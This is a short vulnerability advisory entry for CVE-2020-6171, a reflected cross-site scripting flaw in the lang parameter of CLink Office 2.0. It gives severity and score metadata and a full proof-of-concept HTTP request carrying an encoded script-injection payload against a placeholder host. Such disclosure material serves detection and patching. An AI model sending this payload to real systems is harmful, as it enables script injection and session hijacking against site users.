| Title | CLink Office 2.0 - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.18832 |
| CVE ID | CVE-2020-6171 |
| CWE ID | CWE-79 |
| Tags | cve cve2020 xss clink-office communilink vuln |
CLink Office 2.0 is vulnerable to cross-site scripting in the index page of the management console and allows remote attackers to inject arbitrary web script or HTML via the lang parameter.
GET /?lang=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-6171.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-6171.pcap
N/AN/A